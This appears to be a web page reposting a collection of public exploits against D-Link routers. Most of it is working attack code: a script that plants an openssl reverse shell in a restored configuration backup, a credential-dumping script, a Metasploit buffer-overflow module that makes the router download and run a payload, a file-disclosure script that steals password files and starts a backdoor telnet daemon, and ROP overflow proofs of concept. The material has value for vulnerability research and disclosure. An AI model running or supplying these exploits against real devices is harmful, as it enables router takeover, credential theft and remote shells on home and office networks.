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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution
# Date: 13.09.2022
# Exploit Author: luka <luka@lukasec.ch>
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html
# Vendor Homepage: https://dlink.com
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE
# Version: <= 2.60B15
# Tested on: Debian, Windows 10

"""
# Vulnerability
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots. 

# Usage
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT

options:
  -h, --help            show this help message and exit
  -U USERNAME, --username USERNAME
                        Username, ex: admin
  -P PASSWORD, --password PASSWORD
                        Password for the specified user
  -t TARGET, --target TARGET
                        IP of the target, ex: 192.168.99.99
  -l LHOST, --lhost LHOST
                        IP for the reverse shell to connect back to, ex: 123.123.123.123
  -p LPORT, --lport LPORT
                        Port for the reverse shell to connect back to, ex: 8443
"""

import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string
from ipaddress import ip_address

args = argparse.ArgumentParser()

args.add_argument(
    "-U",
    "--username",
    type=str,
    required=True,
    dest="username",
    help="Username, ex: admin",
)

args.add_argument(
    "-P",
    "--password",
    type=str,
    required=False,
    dest="password",
    help="Password for the specified user",
)

args.add_argument(
    "-t",
    "--target",
    type=str,
    required=True,
    dest="target",
    help="IP of the target, ex: 192.168.99.99",
)

args.add_argument(
    "-l",
    "--lhost",
    type=str,
    required=True,
    dest="lhost",
    help="IP for the reverse shell to connect back to, ex: 123.123.123.123",
)

args.add_argument(
    "-p",
    "--lport",
    type=int,
    required=True,
    dest="lport",
    help="Port for the reverse shell to connect back to, ex: 8443",
)

args = args.parse_args()

# base64 + url encode string
# returns string
def b64_url_encode(data):
    enc = data.encode("utf-8")
    encB = base64.b64encode(enc)
    encUrl = urllib.parse.quote(str(encB, "utf-8"))
    return encUrl


# since user input is always unsafe, test IPs
try:
    ip_address(args.target)
except Exception:
    print("[!] Target IP is not a valid IP address")
    exit(1)
try:
    ip_address(args.lhost)
except Exception:
    print("[!] Reverse shell IP is not a valid IP address")
    exit(1)

# check if target is online
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    # hardcoded http, change if needed
    s.connect((args.target, 80))
    s.close()
except Exception:
    print("[!] Target is not online")
    exit(1)
print("[+] Target is online")

# login param
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"
authHeaders = {"content-type": "application/x-www-form-urlencoded"}
authCheckCmd = "cmd=ui_check_wto"

session = requests.Session()

# if password is empty supply dont supply anything
if not args.password:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd=&ssl_port=443&f_login_type=0&f_url="
    )
else:
    authBody = (
        "cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="
        + args.username
        + "&pwd="
        + b64_url_encode(args.password)
        + "&ssl_port=443&f_login_type=0&f_url="
    )

try:
    # login
    reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)
    # check if successful
    reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)

    if "success" in reqCheck.text:
        print("[+] Login successful")
    else:
        print("[!] Error during login, check credentials")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error during login, check credentials")
    exit(1)

# download backup
print("[*] Downloading backup")
if os.path.exists("backup_clean"):
    os.remove("backup_clean")

# download param
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}
downloadCmd = "cmd=cgi_backup_conf"

try:
    reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)
except Exception as error:
    print(error)
    print("[!] Error while downloading backup")
    exit(1)

# saving to disk
try:
    f = open("backup_clean", "wb")
    f.write(reqBackup.content)
    f.close()

    if not os.path.exists("backup_clean"):
        print("[!] Error while saving backup")
        exit(1)
except Exception as error:
    print(error)
    print("[!] Error while saving backup")
    exit(1)
print("[+] Download successful")

# unpack backup (tar.gz file)
try:
    config = tarfile.open("backup_clean")
    config.extractall()
    config.close()
except Exception as error:
    print(error)
    print("[!] Error while unpacking backup")
    exit(1)

# inject stuff into startup script
try:
    bashscript = open("backup/rc.init.sh", "a")
    # revshell with openssl
    payload = (
        "\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"
        % (args.lhost, args.lport)
    )
    bashscript.write(payload)
    # also start a telnet deamon (has same passwd as web)
    # bashscript.write("utelnetd -d")
    bashscript.close()
except Exception as error:
    print(error)
    print("[!] Error while creating malicious backup")
    exit(1)
print("[+] Created malicious backup")


# re pack file
try:
    configInj = tarfile.open("backup_injected", "w:gz")
    configInj.add("backup")
    configInj.close()
    # remove unpacked folder
    shutil.rmtree("backup", ignore_errors=False, onerror=None)
except Exception as error:
    print(error)
    print("[!] Error while re-packing malicious backup")
    exit(1)

# upload
print("[*] Uploading malicious backup")
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"
uploadHeaders = {
    "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"
}

configInj = open("backup_injected", "rb")
tardata = configInj.read().decode("latin-1")

uploadBody = (
    '------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'
    + tardata
    + "\r\n------WebKitFormBoundaryhellothere--\r\n"
)

reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)

if "web/dsk_mgr/wait.html" in reqUpload.text:
    print("[+] Upload successful, target will reboot now")
else:
    print("[!] Error while uploading malicious backup")
    exit(1)


# creating listener
print("[*] Started listener, waiting for the shell to connect back")
print("[*] When you are done kill the shell with Ctrl+C")
# random name
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))

# generate the cert and the key for the openssl listener
os.system(
    'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'
    % (randInt, randInt)
)
# create an openssl listener
os.system(
    "openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"
    % (randInt, randInt, args.lport)
)

exit(0)
HireHackking 
# Exploit title: D-Link DIR601 2.02NA - Credential disclosure
# Date: 2018-07-10
# Exploit Author: Richard Rogerson
# Vendor Homepage: http://ca.dlink.com/
# Software Link: http://support.dlink.ca/ProductInfo.aspx?m=DIR-601
# Version: <= 2.02NA
# Tested on: D-Link DIR601 Firmware 2.02NA
# Contact: http://twitter.com/pktlabs
# Website: https://www.packetlabs.net
# CVE: N/A 
# Category: Webapps, Remote


# 1. Description:
# Through analyzing the Captcha function implemented in the DIR-601 (2.02NA firmware), 
# a HTTP request was found responsible for the handoff to client-side code. 
# Inspecting the HTTP requests, it was identified that a parameter named ‘table_name’ 
# is used to instruct the back-end application which content to return. By abusing this
# request, it was found possible to retrieve sensitive information relating to the device
# configuration and administrative credentials.

# It is possible to modify the HTTP POST to my_cgi.cgi and include as table_name references
# to retrieve the administrative credentials, wireless ssid, and pre-shared key where 
# applicable. Enumerating the naming conventions within the client-side code, it was
# determined that a number of potentially sensitive parameters/tables exist in the
# back-end environment which provide significant value if retrieved, four of these include:

# -	Admin_user
# -	Wireless_settings
# -	Wireless_security
# -	Wireless_wpa_settings

Sample of the vulnerable POST request:

HTTP Request
POST /my_cgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/login_real.htm
Content-Length: 86
Connection: close
Pragma: no-cache
Cache-Control: no-cache

request=no_auth&request=load_settings&table_name=create_auth_pic&table_name=admin_user <- additional table requested

Sample response:

HTTP Response
HTTP/1.1 200 OK
Content-type: text/xml
Connection: close
Date: Sat, 01 Jan 2011 00:57:12 GMT
Server: lighttpd/1.4.28
Content-Length: 228

<?xml version="1.0"?><root><login_level>1</login_level><show_authid>50649</show_authid><admin_user><admin_user_name>admin</admin_user_name><admin_user_pwd>clear-text-password</admin_user_pwd><admin_level>1</admin_level></admin_user></root>


# 2. Exploit Code:

#!/usr/bin/python
import socket,sys,urllib,urllib2
import xml.etree.ElementTree as ET

print """Packetlabs
====================================
D-Link DIR-601 Authorization Bypass
"""
if len(sys.argv) != 2:
	print "usage:",sys.argv[0],"<ipaddr>"
	sys.exit()
else:
    ipaddr=sys.argv[1]
    print "Retrieving admin username, password and wireless security configuration from",ipaddr

# build URL
url = 'http://'
url+= ipaddr
url+='/my_cgi.cgi'
data = "request=no_auth&request=load_settings&table_name=admin_user&table_name=user_user&table_name=wireless_settings&table_name=wireless_security&table_name=wireless_wpa_settings"

# send payload
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
print "Sending payload to:",response.geturl()
retr = response.read()
root = ET.fromstring(retr)

# credential dump
print "\r\nAdmin Creds"
print "username:",root[0][0].text
print "password:",root[0][1].text

# dump wireless settings
print "\r\nWireless Settings"
sectype=int(root[3][0].text)
ssid=root[2][2].text
enctype="none"

print "SSID is:", ssid
if sectype == 2:
	enctype="WPA2"
	key=root[4][3].text
elif sectype == 1:
	enctype="WEP("
	keylength=int(root[3][3].text)
	if keylength == 5:
            enctype+="64bit)"
	    key=root[3][5].text
	elif keylength == 13:
            enctype+="128bit)"
	    key=root[3][9].text
	else:
	    key="Error, please inspect xml manually above, keylength=",keylength
            print retr
elif sectype == 0:
	print "Wireless network is open?"
	sys.exit()

print enctype,"key is:",key
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

# Payload working status:
# MIPS:
#   - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
#  - inline rev/bind shell works (bind... meh sometimes)
#  - stager rev/bind shell FAIL
#  - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
      'Description'    => %q{
        Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
        is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
        which accepts arbitrarily long strings into certain XML parameters and then copies them into
        the stack.
        This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
        using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
        this vulnerability is present in both MIPS and ARM devices.
        The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
        few load and store instructions. Because of this the payloads have to be sent unencoded, which
        can cause them to fail, although the bind shell seems to work well.
        For the ARM devices, the inline reverse tcp seems to work best.
        Check the reference links to see the vulnerable firmware versions.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'References'     =>
        [
          ['CVE', '2016-6563'],
          ['US-CERT-VU', '677427'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
        ],
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'Stance'         => Msf::Exploit::Stance::Aggressive,          # we need this to run in the foreground (ARM target)
      'Targets'        =>
        [
          [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
            {
              'Offset'         => 3072,
              'LibcBase'       => 0x2aabe000,         # should be the same offset for all firmware versions and all routers
              'Sleep'          => 0x56DF0,            # sleep() offset into libuClibc-0.9.30.3.so
              'FirstGadget'    => 0x4EA1C,            # see comments below for gadget information
              'SecondGadget'   => 0x2468C,
              'ThirdGadget'    => 0x41f3c,
              'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi  sp,sp,-3128
              'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr  sp
              'BranchDelay'    => "\x20\x84\xf8\x30", # addi  a0,a0,-2000 (nop)
              'Arch'           => ARCH_MIPSBE,
              'Payload'        =>
                {
                  'BadChars' => "\x00",
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
            }
          ],
          [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
            {
              'Offset'         => 1024,
              'LibcBase'       => 0x400DA000,         # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
              'System'         => 0x5A270,            # system() offset into libuClibc-0.9.32.1.so
              'FirstGadget'    => 0x18298,            # see comments below for gadget information
              'SecondGadget'   => 0x40CB8,
              'Arch'           => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Nov 7 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
        OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
        OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
        OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'Content-Type' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
      })

      if res && res.code == 500
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def calc_encode_addr (offset, big_endian = true)
    if big_endian
      [(target['LibcBase'] + offset).to_s(16)].pack('H*')
    else
      [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
    end
  end

  def prepare_shellcode_arm (cmd)
    #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers

    #first_gadget (pops system() address into r3, and second_gadget into PC):
    #.text:00018298                 LDMFD           SP!, {R3,PC}

    #second_gadget (puts the stack pointer into r0 and calls system() at r3):
    #.text:00040CB8                 MOV             R0, SP
    #.text:00040CBC                 BLX             R3

    #system() (Executes argument in r0 (our stack pointer)
    #.text:0005A270 system

    #The final payload will be:
    #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
    shellcode = rand_text_alpha(target['Offset']) +       # filler
      "\xff\xff\xff\xff" +                                # n integer overwrite (see advisory)
      rand_text_alpha(16) +                               # moar filler
      rand_text_alpha(4) +                                # r11
      calc_encode_addr(target['FirstGadget'], false) +    # first_gadget
      calc_encode_addr(target['System'], false) +         # system() address
      calc_encode_addr(target['SecondGadget'], false) +   # second_gadget
      cmd                                                 # our command
  end

  def prepare_shellcode_mips
    #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers

    #<sleep> is at 56DF0

    #first gadget - execute sleep and call second_gadget
    #.text:0004EA1C                 move    $t9, $s0 <- sleep()
    #.text:0004EA20                 lw      $ra, 0x20+var_4($sp) <- second_gadget
    #.text:0004EA24                 li      $a0, 2 <- arg for sleep()
    #.text:0004EA28                 lw      $s0, 0x20+var_8($sp)
    #.text:0004EA2C                 li      $a1, 1
    #.text:0004EA30                 move    $a2, $zero
    #.text:0004EA34                 jr      $t9
    #.text:0004EA38                 addiu   $sp, 0x20

    #second gadget - put stack pointer in a1:
    #.text:0002468C                 addiu   $s1, $sp, 0x58
    #.text:00024690                 li      $s0, 0x44
    #.text:00024694                 move    $a2, $s0
    #.text:00024698                 move    $a1, $s1
    #.text:0002469C                 move    $t9, $s4
    #.text:000246A0                 jalr    $t9
    #.text:000246A4                 move    $a0, $s2

    #third gadget - call $a1 (stack pointer):
    #.text:00041F3C                 move    $t9, $a1
    #.text:00041F40                 move    $a1, $a2
    #.text:00041F44                 addiu   $a0, 8
    #.text:00041F48                 jr      $t9
    #.text:00041F4C                 nop

    #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
      #prep_shellcode_1:  23bdf7a8  addi  sp,sp,-3128
      #prep_shellcode_2:  03a0f809  jalr  sp
      #branch_delay:    2084f830  addi  a0,a0,-2000

    #The final payload will be:
    #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
    shellcode = payload.encoded +                                        # exploit
      rand_text_alpha(target['Offset'] - payload.encoded.length) +       # filler
      calc_encode_addr(target['Sleep']) +                                # s0
      rand_text_alpha(4) +                                               # s1
      rand_text_alpha(4) +                                               # s2
      rand_text_alpha(4) +                                               # s3
      calc_encode_addr(target['ThirdGadget']) +                          # s4 (third gadget)
      calc_encode_addr(target['FirstGadget']) +                          # initial pc / ra (first_gadget)
      rand_text_alpha(0x1c) +                                            # filler
      calc_encode_addr(target['SecondGadget']) +                         # second_gadget
      rand_text_alpha(0x58) +                                            # filler
      target['PrepShellcode1'] +                                         # exploit prep
      target['PrepShellcode2'] +                                         # exploit prep
      target['BranchDelay']                                              # exploit prep
  end

  def send_payload (payload)
    begin
      # the payload can go in the Action, Username, LoginPassword or Captcha XML tag
      body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <Login xmlns="http://purenetworks.com/HNAP1/">
   <Action>something</Action>
   <Username>Admin</Username>
   <LoginPassword></LoginPassword>
   <Captcha>#{payload}</Captcha>
  </Login>
 </soap:Body>
</soap:Envelope>
}

      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'ctype' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
        'data' => body
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{peer} - Sending the payload to the device...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def exploit
    print_status("#{peer} - Attempting to exploit #{target.name}")
    if target == targets[0]
      send_payload(prepare_shellcode_mips)
    else
      downfile = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe
      @elf_sent = false
      resource_uri = '/' + downfile

      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{peer} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
      print_status("#{peer} - Asking the device to download and execute #{service_url}")

      filename = rand_text_alpha_lower(rand(8) + 2)
      cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"

      shellcode = prepare_shellcode_arm(cmd)

      print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
      counter = 0.00
      while (not @elf_sent)
        if counter % 50.00 == 0 && counter != 0.00
          print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
        end
        send_payload(shellcode)
        sleep datastore['SLEEP'].to_f     # we need to be in the LAN, so a low value  (< 1s) is fine
        counter += 1
      end
      print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
    end
  end
end
HireHackking 
source: https://www.securityfocus.com/bid/64043/info

Multiple D-Link DIR series routers are prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability would allow an attacker to obtain potentially sensitive information from local files on devices running the vulnerable application. This may aid in further attacks. 

#!/bin/sh


if [ -z "$1" ]; then
        echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";
        echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";
        echo "usage: $0 [router address] [telnet port]";
        exit 0;
fi;

if [ -z "$2" ]; then
        TPORT=3333;
else
        TPORT=$2;
fi

UPORT=31337;

echo "Trying $1 ...";

HTTPASSWD=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"; | grep -A1 "<center>" | tail -1 | 
sed -e "s/\t//g ; s/^\([^:]*\):\([^:]*\)$/\1\n \2/g"`;

if [ ! -z "$HTTPASSWD" ]; then
        L=`echo $HTTPASSWD | cut -d' ' -f1`;
        P=`echo $HTTPASSWD | cut -d' ' -f2`;

        echo "found username: $L";
        echo "found password: $P";


        curl -d "ACTION_POST=LOGIN&LOGIN_USER=$L&LOGIN_PASSWD=$P" -sS "http://$1/login.php"; | grep -v "fail" 
1>/dev/null;

        if [ $? -eq 0 ]; then
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i 
eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i 
eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;
                curl -sS 
"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p $TPORT -l 
/usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;

                echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."
                curl -sS "http://$1/logout.php"; 1>/dev/null;
        fi
fi

CHAP=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets"; | grep -A1 "<center>" | sed -e 
"s/<center>//g"`;

if [ ! -z "$CHAP" ]; then
        echo "found chap-secrets: $CHAP";
fi

echo "Bye bye.";

exit 0;
HireHackking 
# Due to error in hnap protocol implementation we can overflow stack and execute any sh commands under root priviliges.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/hnap.py

import requests as rq
import struct

IP = "192.168.0.1"
PORT = "80"
# Can differ in different version of routers and versions of firmware
# SYSTEM_ADDRESS = 0x1B570 # DIR-890L_REVA_FIRMWARE_PATCH_v1.11B02.BETA01
SYSTEM_ADDRESS = 0x1B50C	# DIR-890L_REVA_FIRMWARE_1.10.B07 

def _str(address):
    return struct.pack("<I", address) if address > 0 else struct.pack("<i", address)

url = 'http://{ip}:{port}/HNAP1/'.format(ip=IP, port=PORT)

headers_text = {
    'SOAPACTION' : 'http://purenetworks.com/HNAP1/Login',
    'CONTENT-TYPE' : 'text/html'
}
payload = b"echo 1 > /tmp/hacked;"

print(rq.post(url, data=b"<Action>" + payload + b"A" * (0x400 - len(payload)) + _str(-1) + b"C" * 0x14 + _str(SYSTEM_ADDRESS)[0:3] + b"</Action>", headers=headers_text).text)
HireHackking 
#!/bin/bash

# If you have access to an ethernet port you can upload custom firmware to a device because system recovery service is started and available for a few seconds after restart.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/update.sh

FIRMWARE="firmware.bin"
IP="192.168.0.1"
while true; do
	T=$(($RANDOM + ($RANDOM % 2) * 32768))
	STATUS=`wget -t 1 --no-cache -T 0.2 -O - http://$IP/?_=$T 2>/dev/null`
	if [[ $STATUS == *"<title>Provided by D-Link</title>"* ]]; then
		echo "Uploading..."
		curl -F "data=@$FIRMWARE" --connect-timeout 99999 -m 99999 --output /dev/null http://$IP/f2.htm
		break
	elif [[ $STATUS == *"<title>D-LINK</title>"* ]]; then
		echo "Rebooting..."
		echo -n -e '\x00\x01\x00\x01EXEC REBOOT SYSTEMaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | timeout 1s nc -u $IP 19541
	fi
done
HireHackking 
# phpcgi is responsible for processing requests to .php, .asp and .txt pages. Also, it checks whether a user is authorized or not. Nevertheless, if a request is crafted in a proper way, an attacker can easily bypass authorization and execute a script that returns a login and password to a router.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/phpcgi.py

import requests as rq

EQ = "%3d"
IP = "192.168.0.1"
PORT = "80"

def pair(key, value):
    return "%0a_POST_" + key + EQ + value

headers_multipart = {
    'CONTENT-TYPE' : 'application/x-www-form-urlencoded'
}

url = 'http://{ip}:{port}/getcfg.php'.format(ip=IP, port=PORT)
auth = "%0aAUTHORIZED_GROUP%3d1"
data = "A=A" + pair("SERVICES", "DEVICE.ACCOUNT") + auth

print(rq.get(url, data=data, headers=headers_multipart).text)
HireHackking 
## Advisory Information

Title: DIR-890L/R Buffer overflows in authentication and HNAP functionalities. 
Date published: July,17th, 2015
Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink)
CVE: None

Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, 
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061

However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares. The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.


## Product Description

DIR-890L/R -- AC3200 Ultra Wi-Fi Router. Mainly used by home and small offices.

## Vulnerabilities Summary

Have come across 2 security issues in DIR-880 firmware which allows an attacker to exploit buffer overflows in authentication and  HNAP  functionalities. first 2 of the buffer overflows in auth and HNAP  can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. Also this exploit needs to be run atleast 200-500 times to bypass ASLR on ARM based devices. But it works as the buffer overflow happens in a seperate process than web server which does not allow web server to crash and hence attacker wins.

## Details

Buffer overflow in auth 
----------------------------------------------------------------------------------------------------------------------
import socket
import struct



buf = "GET /webfa_authentication.cgi?id="
buf+="A"*408
buf+="\x44\x77\xf9\x76" # Retn pointer (ROP1) which loads r0-r6 and pc with values from stack
buf+="sh;#"+"CCCC"+"DDDD" #R0-R2
buf+="\x70\x82\xFD\x76"+"FFFF"+"GGGG"      #R3 with system address and R4 and R5 with junk values
buf+="HHHH"+"\xF8\xD0\xF9\x76" # R6 with crap and PC address loaded with ROP 2 address
buf+="telnetd%20-p%209092;#" #actual payload which starts telnetd
buf+="C"+"D"*25+"E"*25 + "A"*80 # 131 bytes of extra payload left
buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\n\r\n"

print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)

----------------------------------------------------------------------------------------------------------------------


Buffer overflow in HNAP
----------------------------------------------------------------------------------------------------------------------
import socket
import struct


#Currently the address of exit function in libraray used as $PC


buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + "\x10\xd0\xff\x76"+"B"*220
buf+= "\r\n" + "1\r\n\r\n"

 
 
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.90", 80))
s.send(buf)



----------------------------------------------------------------------------------------------------------------------


## Report Timeline

* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
